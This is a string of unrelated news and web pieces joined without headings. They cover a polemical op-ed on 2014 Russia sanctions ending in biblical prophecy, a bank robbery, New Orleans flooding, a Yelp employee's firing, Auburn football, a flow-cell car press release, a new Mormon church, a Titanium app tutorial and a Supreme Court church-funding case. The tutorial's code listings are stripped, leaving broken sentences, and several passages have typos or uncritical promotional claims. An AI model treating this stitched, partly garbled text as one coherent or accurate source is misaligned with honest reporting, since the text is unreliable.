thing of the past. “Today, I’m announcing a series of measures that will continue to increase the cost on Russia and on those responsible for what is happening in Ukraine,” President Barack Obama said in his much anticipated March 17 speech. The world held its breath. Russian oligarchs trembled in fear. Russian President Vladimir Putin wondered if he had gone too far. Then Mr. Obama continued. First, as authorized by the executive order I signed two weeks ago, we are imposing sanctions on specific individuals responsible for undermining the sovereignty, territorial integrity and government of Ukraine. … Second, I have signed a new executive order that expands the scope of our sanctions. As an initial step, I’m authorizing sanctions on Russian officials—entities operating in the arms sector in Russia and individuals who provide material support to senior officials of the Russian government. And if Russia continues to interfere in Ukraine, we stand ready to impose further sanctions. Third, we’re continuing our close consultations with our European partners …. Fourth, we’ll continue to make clear to Russia that further provocations will achieve nothing except to further isolate Russia and diminish its place in the world. … Cheers and vodka corks erupted in the Kremlin. Consider. Points three and four (you can read them in their entirety here) are absolute drivel without substance—filler to make the speech last longer than two minutes. Enough said. Points one and two seem stronger but are also incredibly weak. Beyond the speech, this is what we know: Economic sanctions have been levied on 11 people. Four of them are Ukrainians. And according to abc News, some of them don’t even have U.S. assets. Perhaps more sanctions are coming, but so far, that’s it. Russia has been working a coup in Crimea since before the end of the Sochi Olympics, and so far all we have done is partially freeze some assets of Putin’s aides. Is that all we could come up with? Last time I checked there were around 140 million Russians, and hundreds of Russian businesses operating in the United States. Then there is the possibility of denying Russia access to the dollar payment swift system in Belgium that processes payments in all currencies, not just dollars. Foreign banks that wish to do business in America could also be asked to freeze Russian assets. How about an announcement that America is going to open up Alaska for oil drilling, that it is considering expanding the use of fracking, that it would fast-track natural gas exports, and that it would begin releasing more oil from the strategic oil reserve? Just the announcements would make the price of oil and natural gas plunge. That is an immediate hit to Putin’s pocketbook. If we were still friends with Saudi Arabia, the sheiks could probably have been convinced to join too. Even so, there are plenty of ways to increase the pain on Russia—if America was really interested in doing something about Crimea. Instead we put sanctions on 11 people—and Putin isn’t even one of them. In contrast, how many Ukraine supporters in Crimea will lose everything? What about the Tatars who make up 15 percent of the population and refused to vote in the referendum because they remember what happened to them the last time Ukraine was part of Russia? No mention of the possibility of helping arm Ukraine to defend itself. No mention of reinstituting the European missile defense shield that was canceled in order to hit the “reset button” with Russia. No mention of real consequences. It would be tempting to think that President Obama was being tougher behind the scenes. And was just talking soft to de-escalate things. But he isn’t. Want to know why? On March 4, Russian presidential adviser Sergei Glazyev made offhanded comments suggesting that if the U.S. took real action against Moscow, it would hurt America’s economy as much as Russia’s. And he is probably right. With America’s debt-bloated economy barely keeping its head above water, a trade war including Russia and Europe could drag America and the global economy back into recession. But it was Glazyev’s second remark that probably captured American policy makers’ attention the most. He said that if sanctions went too far, Russia “should dump U.S. government bonds”—all $200 billion worth. $200 billion is a significant amount. No doubt it would hurt, but America would probably survive. However, Russia isn’t alone. America owes so much money to so many people that if Russia were to signal it was dumping its U.S. debt holdings, other smaller investors might decide that they want out first. The proverbial run on the bank becomes reality. Still America might survive. But then America still needs to consider how much money it owes China. As Trumpet editor in chief Gerald Flurry highlighted in “Russia and China Unite (Crimea),” China has thrown its support behind Russia. And economically, America does have to consider very carefully what China might do. The bbc recently released an interview with former U.S. Treasury Secretary Hank Paulson. It describes the great extent he went to in order to convince China not to dump its $1.7 trillion in Fannie Mae and Freddie Mac bonds during the economic meltdown in 2009. But here is where it becomes, as the bbc’s Robert Peston says, a “geopolitical thriller.” Secretary Paulson recounts: “Here I’m not going to name the senior person, but I was meeting with someone …. This person told me that the Chinese had received a message from the Russians which was, ‘Hey let’s join together and sell Fannie and Freddie securities on the market.’ The Chinese weren’t going to do that but again, it just, it just drove home to me how vulnerable I felt until we had put Fannie and Freddie into conservatorship [the rescue plan for them, that was eventually put in place].” Here is the take-home message. China may have refrained from attacking the U.S. financial system at that time, but Russia and China have held discussions about it! This scenario is no longer in the realm of speculation. Russia and China have actually discussed a joint pact to not only maximize the turmoil on Wall Street, but to directly attack America’s financial system. This is the reality facing America. America’s reliance on foreign nations to lend us money is now so great that it is crippling our foreign policy and our ability to assert our interests in the world. The Bible, which is perhaps the oldest book on geopolitics, warns about the dangers of debt—especially debt owed to foreigners. Deuteronomy 28:43-45: The stranger that is within thee shall get up above thee very high; and thou shalt come down very low. He shall lend to thee, and thou shalt not lend to him: he shall be the head, and thou shalt be the tail. Moreover all these curses shall come upon thee, and shall pursue thee, and overtake thee, till thou be destroyed; because thou hearkenedst not unto the voice of the Lord thy God, to keep his commandments and his statutes which he commanded thee. In its March report, the Bank for International Settlements noted that Americans owe 58 percent of total world debt—a whopping $58 trillion worth. Meanwhile, America’s gdp only makes up less than a quarter of the world’s total economy. All that debt has allowed America to live like a king, but now it is making it a slave to the world. More importantly, because America has turned from the God that made it great, it is no longer receiving the blessings that naturally result from keeping God’s commandments. Blessings like lasting prosperity and geopolitical strength. We are not free from fear because our precarious debt load means our enemies can threaten to destroy the dollar and cripple our economy. America’s superpower days are ending. Allies be aware. Ukraine, you are on your own. -An aging ex-con who deliberately got caught robbing a bank so he could go back to prison should have his wish fulfilled, federal prosecutors say. Walter Unbehaun, 73, spent most of his adult life behind bars, and was apparently so unhappy living as a free man that he stuck up the BMO Harris Bank at 7077 W. Dempster St. in north suburban Niles on Feb. 9 with the intention of being caught, according to the Chicago Sun-Times. He told FBI agents he “wanted to go back to the only life he knew — prison life,” according to court papers filed this week by the U.S. Attorney’s office. Prosecutors want U.S. District Judge Sharon Johnson Coleman to lock him up for six to eight years, a sentence they acknowledge “would seem to be rewarding him for precisely the behavior we seek to deter.” Weird News Photos: Man Shoves Snake in Pants But they say Unbehaun’s willingness to stick up a bank, even though he walks with a cane and has had hip-replacement surgery, shows just how determined he is to stay behind bars, making him a public danger at an age when most criminals have settled down. “Did the system fail Mr. Unbehaun?,” prosecutor Sharon Fairley wrote in the filing. “We may never know. But, what we do know is, clearly, Unbehaun lacks the desire to lead a law-abiding life outside of prison walls.” He was was arrested outside a North Chicago motel by FBI agents and Niples police the day after the robbery. Agents received tips from people who had seen media coverage of the robbery, the FBI said at the time. A federal criminal complaint charging one count of bank robbery allegeds that during thge robbery, Unbehaun told the teller, “This is a hold up. I have nothing to lose. Give me the money in the drawer.” He then opened his jacket to show a handgun in the waistband of his pants. He told the teller, “I only have six months to live and have nothing to lose. I don’t want to hurt you,” the complaint said. Unbehaun, of Rock Hill, S.C. — who has multiple convictions for bank robbery, car theft, home invasion, unlawful restraint, armed robbery, theft, unauthorized use of a weapon and armed violence going back to 1963 — is due to be sentenced next month. His attorney did not return calls seeking comment. Copyright SunTimes -Street flooding was reported throughout New Orleans on Monday as a storm dropped at least 3 inches of rain on some parts of the city. A flash flood warning was in effect until 3:15 p.m., according to the National Weather Service. The city has suspended prohibitions on parking on the neutral ground and advised residents to move vehicles from low-lying areas, according to a tweet from the city. In an interview with WWL-TV, Paul Rainwater, a member of the interim management team running the Sewerage & Water Board, said that two of the five pumps at Station 3 went down during the storm. Station 3 serves parts of Gentilly and moves water from areas as far away as Broadmoor to Lake Pontchartrain. The two pumps represent about 27 percent of the drainage capacity at that pump station. S&WB officials said about 4:10 p.m. Monday that the pumps had been returned to service though the cause of the outage remained unknown. Can't see video below? Click here. The flooding is serious in some areas of the city. WWL-TV showed images of cars half-covered in water near an underpass at Gentilly Boulevard and Paris Avenue, and cars were stalled in floodwaters at Louisa Street and Chef Menteur Highway. The city provides information on reports of street flooding at streetwise.nola.gov. According to the S&WB's website, 109 of the drainage system's 120 pumps were operational Monday. Broken pumps and a lack of power and staff have been blamed for exacerbating the Aug. 5 flooding in New Orleans. New Orleans boil water advisory is lifted after no contamination found New Orleanians were told Thursday they could start drinking the water again. Morris Jeff Community School announced Monday afternoon that it would be dismissing students at 2:30 p.m. due to flooding on nearby streets. -Talia Jane was fired two hours after she publicly admitted she can't afford groceries. This is Talia Jane. She's 25, and up until Friday afternoon she worked for Eat24, the food-ordering app owned by Yelp. Talia Jane Jane told BuzzFeed News she moved to San Francisco to start working as a customer service representative at the company in August after finishing an English literature degree at California State University, Long Beach. Talia Jane Jane said she wanted to work for the company's media team but was told the customer service rep position was a good way to break into the business, learn essential skills, and transition across departments. However, the reality of living and working in one of the most expensive cities in the country soon caught up with her. Even though she rented an apartment 30 miles away from the company's downtown offices, she struggled to afford her rent, making just $12.25 an hour — or $8.15 after tax. She also had to factor in more than $200 per month in transportation fees, since she was taking the train to work. She had also planned to find a co-worker to room with her, she said, but quickly discovered many of them were either living at home or otherwise unable to afford the rent. "I thought to myself, Oh, I'm tremendously fucked, so I'm just going to try really hard on improving at this job so I can transfer and get a pay increase," she said, "but then I was told that wouldn't happen for at least a year." Talia Jane Having cut back on buying groceries in order to afford her rent and bills, and juggling 40 hours of overnight shifts a week, Jane went to bed on Friday after drinking a liter of water to stop hunger pains. She said she awoke two hours later, starving, so she made herself some rice — the only food she could afford. "While cooking the rice, I suddenly became aware that this wasn't the first time this had happened," she said. Hungry, tired, and struggling to make ends meet, she began tweeting at Yelp CEO Jeremy Stoppelman. .@jeremys please let me earn a living wage. I promise I'll watch all your vlogs. just let me be able to pay my rent. .@jeremys I didnt major in business or finance & I didnt take this job to get rich. I just cant turn my heater on & I'm tired of being cold. .@jeremys anyway, fire me or ignore me. either way I'll keep on struggling all the same. ✌️ She then channeled her thoughts into a post on Medium , entitled "An Open Letter To My CEO." Medium / Via medium.com The post, which has been shared across the tech world on Twitter and been viewed more than 85,000 people, goes into detail about Jane's struggles making ends meet. Here are some excerpts: So here I am, 25-years old, balancing all sorts of debt and trying to pave a life for myself that doesn't involve crying in the bathtub every week. Every single one of my coworkers is struggling. They're taking side jobs, they're living at home. One of them started a GoFundMe because she couldn't pay her rent. She ended up leaving the company and moving east, somewhere the minimum wage could double as a living wage. Another wrote on those neat whiteboards we've got on every floor begging for help because he was bound to be homeless in two weeks. Fortunately, someone helped him out. At least, I think they did. I actually haven't seen him in the past few months. Do you think he's okay? Another guy who got hired, and ultimately let go, was undoubtedly homeless. He brought a big bag with him and stocked up on all those snacks you make sure are on every floor... By and large, our floor pummels through those snacks the fastest and has to roam other floors to find something to eat. Is it because we're gluttons? Maybe. If you starve a pack of wolves and toss them a single steak, will they rip each other to shreds fighting over it? Definitely. I haven't bought groceries since I started this job. Not because I'm lazy, but because I got this ten pound bag of rice before I moved here and my meals at home (including the one I'm having as I write this) consist, by and large, of that. Because I can't afford to buy groceries. Bread is a luxury to me, even though you've got a whole fridge full of it on the 8th floor. But we're not allowed to take any of that home because it's for at-work eating. Of which I do a lot. Because 80 percent of my income goes to paying my rent. Isn't that ironic? Your employee for your food delivery app that you spent $300 million to buy can't afford to buy food. That's gotta be a little ironic, right? Let's talk about those benefits, though. They're great. I've got vision, dental, the normal health insurance stuff — and as far as I can tell, I don't have to pay for any of it! Except the copays. $20 to see a doctor or get an eye exam or see a therapist or get medication. Twenty bucks each is pretty neat, if spending twenty dollars didn't determine whether or not you could afford to get to work the next week. "I wanted [Stoppelman] to understand that I wasn't some little, annoying fly buzzing around his head," she told BuzzFeed News. "I wanted him to understand that I'm not some obnoxious idiot who thinks it's funny to harass the CEO on Twitter. I'm someone who has concerns and is reaching out, hoping that he can do something. "I was sitting there and thinking, I hope he sees this and I hope my CEO listens and hears me, and then it started to dawn on me: I wonder if I'll get fired for saying this out loud?" After publishing the post at 3 p.m. on Friday, her company email account stopped working two hours later, she said. "My manager and HR told me the letter and what I wrote violated Yelp's terms of conduct," she said. After he was contacted by BuzzFeed News on Saturday, Stoppelman began tweeting about Jane's dismissal. 1/5 Late last night I read Talia's medium contribution and want to acknowledge her point that the cost of living in SF is far too high. 2/5 I have been focused on this issue, backing anti-NIMBY group SFBARF and speaking out frequently about the need to lower cost of housing. 3/5 I've not been personally involved in Talia being let go and it was not because she posted a Medium letter directed at me. 4/5 Two sides to every HR story so Twitter army please put down the pitchforks. The reality of such a high Bay Area cost of living is... 5/5 entry level jobs migrate to where costs of living are lower. Have already announced we are growing EAT24 support in AZ for this reason. Although Stoppelman said the post was not the reason for Jane's dismissal, a spokesperson for Yelp would not elaborate, telling BuzzFeed News the company would not comment on personnel matters. "We do not comment on personnel issues," the spokesperson said. "However, we did agree with many of the points in Ms. Jane's post and we viewed it as her real, personal narrative about what it's like to live in the Bay Area. Most importantly, it's an important example of freedom of speech." "We agree with her comments about the high costs of living in San Francisco, which is why we announced in December that we are expanding our Eat24 customer support team into our Phoenix office where will pay the same wage." -Auburn Week 14 2013-Auburn vs. Alabama Game Day ESPN analysts Lee Corso, left, and Kirk Herbstreit Saturday, Nov. 30, 2013, on the set of ESPN College Game Day outside Jordan-Hare Stadium in Auburn, Ala. (Julie Bennett/jbennett@al.com) (JULIE BENNETT) Kirk Herbstreit is going against the grain. Despite Auburn coming off a disappointing 7-6 season, an uncertain quarterback picture and the dismissal of running back Jovon Robinson, the ESPN college football analyst picked Auburn as his sleeper in the SEC and No. 4 among his surprise teams this season. UPDATED: Herbstreit clarified that he was not implying Auburn would actually win the SEC -- he picked Alabama to beat Tennessee -- but was picking the Tigers to be in a "sleeper" in a more general sense. Herbstreit explained why he's optimistic about Auburn, which is unranked in both the preseason AP and coaches polls, compared to other media members, including those in the SEC media, which picked the Tigers to finish sixth in the SEC West during SEC Media Days. "I think if you look at (Auburn being 6-10 in SEC play the last two years) and you look at the roster and you look who they have at quarterback, I can see why the media said that this team's not going to compete," Herbstreit said on a conference call Wednesday. "Even in the backfield with the tailback situation. For me it's more of I think the defense is going to be really, really good. I think they're going to play with a chip on their shoulder. I think they're going to be mad at the world when they play this year. "I think defensively they're going to stay in almost every game that they play and then it's just a matter of the head coach, Gus Malzahn, and the offense finding ways to put enough points up on the board to win." Auburn is 2-9 in its last 11 SEC games and has not beaten a conference foe at Jordan-Hare Stadium since defeating South Carolina, 42-35, on Oct. 25, 2014. The Tigers open the 2016 season with five straight home games starting on Sept. 3 against No. 2 Clemson. Malzahn and Auburn's defensive players are extremely optimistic about what that side of the ball will deliver this fall. Herbstreit is too. "I would be careful just by looking at 8-5 two years ago, 7-6 last year, 6-10 in conference play over the last couple of years, I think it's easy to look at this and say that this thing's heading in the wrong direction," Herbstreit said. "I just think there's a little bit more backbone to the program than maybe all of us realize on the outside. I think it'll be led this year by the defense. I think the defense is going to be one of the best in the SEC." -After it was previewed as a concept at the Geneva Motor Show in March, everything has been a blur for this 350 km/h car that is run by a very unusual powertrain. Using flow cell battery technology that can store 20 times more energy than a lead-acid battery and 5 times more capacity than the lithium-ion battery used by today’s electric cars, it can travel up to 600 kilometers on one full charge, distance only combustion engines can cover. The nanoFLOWCELL technology can undergo 100 times more charging cycles than lead-acid and lithium-ion and only self-discharges at 1% per day if unused; all without the memory effect conventional batteries suffer through. Peak power of the 4-seater QUANT e-Sportlimousine 912 HP but it can remain constant at 644 HP. Peak torque for each wheel is at 2,900 Nm. It will hit 100 kph in just 2.8 seconds. Last July 22, 2014 and after extensive testing by the District Government of Upper Palatinate Bavaria the QUANT e-Sportlimousine was issued an official registration plate and finally allowed to road the roads of Germany and Europe. “This is a historic moment and a milestone not only for our company but perhaps even for the electro-mobility of the future. For the first time an automobile featuring flow-cell electric drive technology will appear on Germany's roads. Today we have put the product of 14 years’ hard development work on the road,” said Nunzio La Vecchia, chief technical officer at nanoFLOWCELL AG. “Approval of the QUANT e-Sportlimousine with the nanoFLOWCELL® drivetrain concept is a vital step forward for nanoFLOWCELL AG. The fact that only four months after the car's world premiere in Geneva we have received approval for the use of the QUANT e-Sportlimousine with nanoFLOWCELL® drivetrain concept on the road in Germany and in Europe indicates the dynamism with which our entire team is working on this project. And we are very much looking forward to the next stages of this exciting and promising journey,” states Prof. Jens-Peter Ellermann, chairman of the board of directors at nanoFLOWCELL AG. -Mormon Church Opens in Ozark as Mormon Faith Grows Video OZARK, Mo. -- A new Mormon church has opened its doors in Ozark. It's the new home for the Ozark and Nixa congregations of The Church of Jesus Christ of the Latter-Day Saints. The growth of the Mormon faith has created a need for the new church in our area. The LDS church in Ozark has had its doors open for about two weeks now. Between the Nixa and Ozark wards, there are about 800 people who have already joined. "It's a worldwide congregation of about 15 million people and growing," said Ozark Ward Bishop Robert Guison. And the growth has been proven here in the Ozarks with a need for the brand new church. "When i was young growing up in Monett, we had to come to Springfield," said Bishop Guison. "There are now seven stakes and each stake is approximately six to seven congregations-- so that's how much it's grown in my lifetime-- just in this area-- so there's been a tremendous amount of growth." "It's been exciting to see the growth and people moving to the area," said Nixa Ward Bishop Michael Barker. "But also the natural growth from families -- and also those that choose to join the Mormon faith-- those that choose to investigate and join themselves to the church-- it's been fun." Before, those of the Mormon faith in Nixa and Ozark had to drive to Springfield. "Then, as the need grew, we were too crowded in that building," said Bishop Guison. "So the next choice was what would be the most benefit to members and the community? That's why this location was chosen." "It gives a foundation to our faith, a sense of permanence," said Bishop Barker. "There's a lot of excitement to have our own building here in the Nixa-Ozark region." The building includes classrooms, offices and a kitchen adjacent to the multi-purpose cultural hall that doubles as in indoor basketball court. "There's a great sense of ownership and presence to have a building and a place we call home," said Bishop Barker. "Where we come together to worship and can invite people to come share our faith with us." But, of course, for them-- it goes beyond that. "The building is wonderful and represents progress and growth," said Bishop Barker. "But, more importantly, it represents our faith and the savior Jesus Christ and not only to serve him and our families, but to serve the community as Christians." The chapel seats about 250 people. The church serves both the Nixa and Ozark communities. -Get to know Titanium Building mobile and desktop applications with web technologies The world of web application development has moved pretty quickly in the past five or so years. What used to be extremely rare — web developers who could deliver not only solid back-end code but also slick UIs — is becoming increasingly commonplace thanks to powerful development frameworks like Ruby on Rails and jQuery. Likewise, CSS and HTML — once extremely simple tools for determining the structure and layout of web pages — have solidified into flexible and powerful environments that allow developers to create extremely engaging experiences. At some point, though, these same developers are sometimes asked to go farther than a "mere" web presence (word in quotes because everyone who develops web software knows it's harder than it looks to pull off, but there are always those who would give it short shrift). In this rapidly changing world, it's not enough to just have a web presence: You also need mobile and desktop applications. The problem is, if you're coming from the world of interpreted scripting languages like Python, JavaScript, or PHP, making the transition to Java™ technology, C++, or Objective-C languages isn't quite as easy as it sounds. In fact, it can be downright difficult. Everything about the new world is difficult: You have to deal with compiled code; provision devices; and test on different platforms like Apple Macintosh, Windows®, or Linux®. You more than likely have to start working in a very different way. So, even if you can learn a new language (say, Objective-C, if you want to code Apple iPhone or iPad applications), you still have to learn how to do things in ways that conform to the new environment. If you're coding an Android or iPhone application, you need to walk through certain steps to get developer certificates, run your builds, provision your devices, test the code running on the devices, and finally follow another process for submitting your applications for distribution. For the average web developer, who is used to dropping code via SFTP onto a test server, running various browser checks, then pushing it live, all of this can be a bit overwhelming. But what if you could use the skills you already have with the languages you already know? Use those languages to build native applications for desktop and mobile platforms, then package those applications for distribution and use? Well, you're reading the correct article because the answer to those "what ifs" is Titanium, a free and open source development kit published by Appcelerator (see Related topics). What is Titanium? In short, Titanium is a rapid application development platform that uses HTML, JavaScript, and CSS (for starters) to develop desktop and mobile applications. The framework also supports the use of Python, Ruby, and PHP, which, together with the front-end technologies, gives you access to a whole range of familiar technologies you can use to create applications. Other platforms (like Adobe® AIR®) are similar, except that Titanium is licensed under a free/open source Apache license, and you don't need to learn Adobe Flash® or ActionScript to get started. Basically, what you'll be using is an independent WebKit client and an extensive API that includes an internal SQLite database and full file system access (among other features) that you combine with your own CSS, JavaScript, HTML, and back-end code. Furthermore, you get access to common wrappers for such things as desktop notifications, tray icons, window menus, and other widgets that allow your application to blend in naturally with most major operating systems. Installing Titanium To get started with Titanium, on the Appcelerator web site, click Download Titanium. When the package is downloaded, install it on your system. On Mac OS X, simply drag the Titanium icon onto the Applications folder icon. When Titanium is installed, you'll probably need to run updates and download secondary libraries before you can get going. When everything is complete, start Titanium for the first time; you should see a welcome page. If you already have a username and password, use those credentials to log in. Otherwise, take a minute to create your credentials now. You'll use those credentials to access the wiki, the support portal, and other resources, like cloud-based analytics. Once you've registered, you should see a page that lists your projects. You can also access API documentation and other helpful information from this same page (see Figure 1). You are free to explore these at your own leisure, but for now, start creating your first project. Figure 1. Titanium Developer Dashboard Creating your first Titanium application To create your first application in Titanium, simply click New Project on the top toolbar to open the New Project window. Here, fill in a few data points about your new application (see Figure 2): In Project type, choose desktop. Name your application. Give your application an App ID. Typically, the App ID follows the familiar com.companyname.applicationname format (such as com.example.sampleapp). Select a directory for your finished code. Enter your company's or a personal URL. Check the language modules you want to include in your new application (currently, there is support for Ruby, Python, and PHP). Click Create Project. Figure 2. Create a new project Titanium creates a folder for your new application in the designated folder. Your application folder will contain certain important files and directories: The Resources folder will eventually contain all your images, HTML files, PHP files, etc. Think of it as your application's web root. Within your application, you can use app:// URLs to refer to files and assets within this folder. URLs to refer to files and assets within this folder. The tiapp.xml file is your application's configuration file. You'll probably never edit this file outside of Titanium's UI, but if you do, make sure that you read the documentation (see Related topics) beforehand. The LICENSE.txt file contains the license your users will have to agree to before using your application. The manifest file describes some details about your application, such as the runtime version of the application. It's not a good idea to edit this file while Titanium is running. The dist directory is where Titanium stages your application when you launch and package it. For now, make sure that the initial application you've set up is valid and can actually be packaged. To test that, click the Test & Package tab, then click the Package tab. Next, select which platforms you want to support (just pick the one you're working with now), select an installer type (choose Bundled for now). Keep the rest of the defaults shown in Figure 3 (for example, you want the application to be private, and you don't want to release to users). Figure 3. Packaging your application Click Package Project. After a few minutes, you should end up with a package that's ready to download from the Appcelerator Web site (see Figure 4). Figure 4. Your package ready for download Click to download the package, then install it. What you'll see, of course, is just a blank screen with the words "Welcome to Titanium" along the top because that's pretty much what's inside the index.html file in the application's Resources directory. In fact, if you were to open that index.html file, you'd see something like the markup in Listing 1. Listing 1. Basic markup in your first Titanium application
Welcome to Titanium
You've built your first application, but it isn't very exciting. It isn't much to look at, for one thing, and it doesn't do anything useful. So, let's add a few elements to it so that it will start looking like an application. Open the directory that contains your application, then open the Resources directory. Download a copy of your favorite JavaScript framework (for me, it's jQuery) and put the file right into the directory. Now open the index.html file in an editor and make changes. Begin by using a Now add some client-side code, such as a button that does something dynamic on the page. In the example in Listing 3, I create a simple button that, when clicked, prompts jQuery to fill a
with content. Listing 3. Adding a dynamic button
Although this is a simple example, you can see right away that the options are pretty much limitless (see Figure 5). Add other client-side frameworks, CSS layouts, and custom content to create the application you want to deliver to your clients. Figure 5. HTML + jQuery in Titanium Unlike a website, you'll need to do some planning because you need to package "builds" to see updates. For example, you can't easily refresh content changes once you've bundled up a distribution, so remember to budget in the time it will take to create a package, and then download it. For example, if you were to go back and add CSS styling like that shown in Listing 4: Listing 4. Simple CSS body { margin:0; padding:0; background:#ccc; } #wrapper{ border:1px solid black; margin:10px auto; width:500px; background:#fff; padding:10px; } Then a bit of markup, adding an HTML
with an ID of wrapper , as shown in Listing 5: Listing 5. Applying the CSS
Then you wouldn't be able to see your new look and feel until after you've run through the package process. That's a bit slower than you're used to when you develop websites, but just keep in mind what you're dealing with and you should be OK. If client-side only gets you so far, then there's also support for server-side code. You could convert the HTML file here to PHP, and if you've got PHP support for the application your building (in other words, you selected the PHP checkbox when you created the project), you'd be able to insert PHP commands. Combining PHP with the built-in SQLite database included with Titanium allows you to build just about any kind of dynamic application you care to build. The next section takes this all a bit farther and adds PHP coding. Adding PHP to the mix Now that you have the basics down, you can do a few advanced things with your new application. Open the Resources directory, then open the index.html file in an editor. Before you get started with PHP, it's a good idea to throw in a link to a PHP file that will run phpinfo() so that you know what you're dealing with. I chose PHP, because that's what I'm most familiar with: You may want to use Ruby or Python, and both of those options are supported. When you're in the HTML file, get rid of the button and put in a link to a new file — one you'll call phpinfo.php, as Listing 6 shows. Listing 6. Linking to phpinfo.php The phpinfo.php file will be basic, containing just one line of PHP — a call to phpinfo() , which dumps out every variable and setting in Titanium's PHP environment (see Listing 7). You can wrap that call with the 
 tag to make it easier to digest the information.  Listing 7. Creating the phpinfo.php file    Once you're done with the source code, go back to Titanium and create an updated package. Wait for the process to finish, then download and install the package. Once installed, run it; you should see a simple page with a link to the phpinfo.php file. Click that link, and you should see the page shown in Figure 6.  Figure 6. Basic results of the phpinfo() command  As you can see, Titanium displays a page that shows you every PHP configuration setting it has. Notice that you have support for Sessions, SQLite, and SimpleXML (among other valuable tools) and that Titanium knows about your local environment (for example, where the WebKit libraries are located and what your _ENV['HOME'] setting is.  That's all well and good, but what if you want to actually do some work with PHP? You can certainly create separate PHP files that you call, but it's much easier to embed your PHP directly into your HTML files. The way you do that is to create    As you can see in Figure 7, you can run the PHP code from a basic JavaScript block, making the data available from one to the other in ways that you're probably not used to in the web development world.  Figure 7. A Basic PHP block  Another option, of course, is to bundle your PHP blocks into separate files and include those files via one of two ways: through the common   Conclusion  At this point, you know more than enough to get started on your own Titanium application. You've learned how to install the tools, create basic interfaces with HTML, and even added a bit of PHP code and some CSS styling. From here, you should be able to add other features and make smart desktop and mobile applications, building on the skills you already have as a web developer.  Downloadable resources  Related topics  Check out Titanium Developer, the starting point for Titanium.  Follow developerWorks on Twitter.
-Playground Case Could Breach Barrier Between Tax Coffers, Religious Schools  Enlarge this image toggle caption Courtesy of Alliance Defending Freedom Courtesy of Alliance Defending Freedom  The U.S. Supreme Court hears oral arguments Wednesday in a Missouri case with the potential to open grant programs to parochial schools.  Wednesday's showdown pitting school choice and religious liberty advocates against taxpayer groups and civil libertarians has been long in coming. The Supreme Court had agreed to hear the case of Trinity Lutheran Church v. Pauley — Pauley being the director of the Missouri Department of Natural Resources at the time — in January 2016.  A month later, Justice Antonin Scalia died unexpectedly, leaving an eight-justice court that was deeply divided on questions concerning the separation of church and state. For nearly a year and a half, the justices punted, declining to hear oral arguments in the case until the court was back up to full strength.  Now that day has come — sort of. A funny thing happened on the way to the Supreme Court that's explained in detail below.  "Children should not be treated as second-class citizens"  First, the case: Trinity Lutheran Church in Columbia, Mo., operates a preschool and day care learning center as part of its church ministry. Ninety children, ages 2 to 5, attend the school and play on its playground.  In 2012 the church applied for a grant from the state to essentially rubberize the playground surface, using old and discarded tires. Trinity Lutheran sought the funds despite regulations barring state grants to religious institutions.  The Missouri Department of Natural Resources, which administers the scrap tire program, had enough money to fund playground resurfacing for 14 of the 44 applicants. Although Trinity Lutheran would have qualified otherwise, the state turned it down, citing a Missouri Supreme Court ruling that bars giving state aid to a school that is owned or controlled by a church, sect or denomination and where the applicant's mission is spiritual in nature.  There is no doubt that the learning center's mission is spiritual in nature, even if the playground surface is not.  Trinity Lutheran went to court, claiming that the grant denial interfered with its free exercise of religion and amounted to unconstitutional discrimination, based on religion, against the school.  Gail Schuster, director of the Trinity Lutheran Child Learning Center, said in a YouTube video about the case that the school applied to the program to provide a safe playground for the preschoolers.  "The issue here is that children are children, and their safety is important to us, and the children should not be treated as second-class citizens," Schuster said.  The grant program was open to all nonprofit schools except religious ones, notes David Cortman of the Christian religious liberty group Alliance Defending Freedom. Excluding parochial schools takes the constitutional mandate of separation of church and state "too far," he says.  "Now you're treating a religious organization worse than everybody else," he says. "The government is not funding a religious activity; it's funding the playground where children play."  Not so, says the state of Missouri in its brief to the court. The "free exercise" clause of the U.S. Constitution, in its own words, forbids only government action that "prohibits" the free exercise of religion; it does not require the government to subsidize churches or provide equal funding opportunities for religious and nonreligious groups alike.  Trinity Lutheran's insistence that its playground resurfacing project is secular does not solve the problem, adds the state, because money is fungible, and because the church's religious intent is stated specifically in the Learning Center's mission.  Keeping the government out of churches  The ACLU, which filed a brief supporting the state's position, points to the Constitution's other religion clause, which bars any state establishment of religion. The Founding Fathers included that provision because they understood the problems that arise when government and religion become entangled, according to the ACLU's Daniel Mach.  "When you have the government providing direct cash to houses of worship, you threaten church autonomy and independence," he says. "You can pit denomination against denomination, sect against sect."  Even neutral criteria can functionally favor, for example, big churches or denominations over smaller ones, Mach says.  He argues that we as a society have given religious institutions many special benefits and exemptions from laws that apply to everyone else to prevent the government from interfering with religion. Religious institutions not only have tax-exempt status, but general civil rights laws do not apply to them.  Five years ago, the Supreme Court ruled unanimously that teachers at a Lutheran school could not sue under the Americans with Disabilities Act, because the church said it considers teachers to be ministers of the church. The ACLU's Mach argues that now these religious schools are trying to "have their cake and eat it too."  "It wants to keep those benefits and also get handouts from the government," he says.  Making this case yet more interesting is a provision in the Missouri Constitution — and similar language in 36 other state constitutions — that bars direct or indirect aid to parochial schools.  In recent years, as the U.S. Supreme Court has become increasingly willing to lower the wall separating church and state, these state provisions have presented bigger and bigger obstacles to advocates of religious liberty and school choice.  Those activists have gone to court, rather than seeking to strike the state constitutional provisions through the democratic process.  "There is a movement to undermine public schools and to funnel taxpayer dollars to religious schools," Mach says. "Depending on how this case goes, this could greatly affect how that movement operates."  Bait-and-switch by the Missouri government  Well, maybe. To reiterate, a funny thing happened on the way to the Supreme Court.  Last week the newly elected Republican governor of Missouri, Eric Greitens, decided to change the state's long-standing policy on aid programs like this one — blaming "government bureaucrats" for the previous policy.  "You sent me here to fight for all Missourians, and that includes fighting for and defending people of faith who are too often under attack," he said in a Facebook video ordering the Department of Natural Resources to lift its ban on state grants for religious organizations.  Making such a grand stand may be good politics, but it is lousy legal strategy. Gov. Greitens' new position could moot the case before the Supreme Court Wednesday.  Upon seeing the governor's press release, the Supreme Court last Friday asked both sides to submit their views on whether there is still a live dispute, since the state of Missouri now agrees with the position taken by Trinity Lutheran.  Both sides said on Tuesday that the case should go forward. Trinity Lutheran, for instance, contends that another governor sometime in the future could change the policy back. And Missouri says there's a "reasonable possibility" that the state courts, relying on the state Constitution, could prevent Gov. Greitens' policy from going into effect.  In addition, the Missouri attorney general's office took itself out of the case, delegating the litigation to the former state solicitor general to defend the office's previous position.  In short, a case that a week ago looked like the showdown at the O.K. Corral on aid to parochial schools now looks considerably more uncertain.  Intern Lauren Russell contributed to this report.
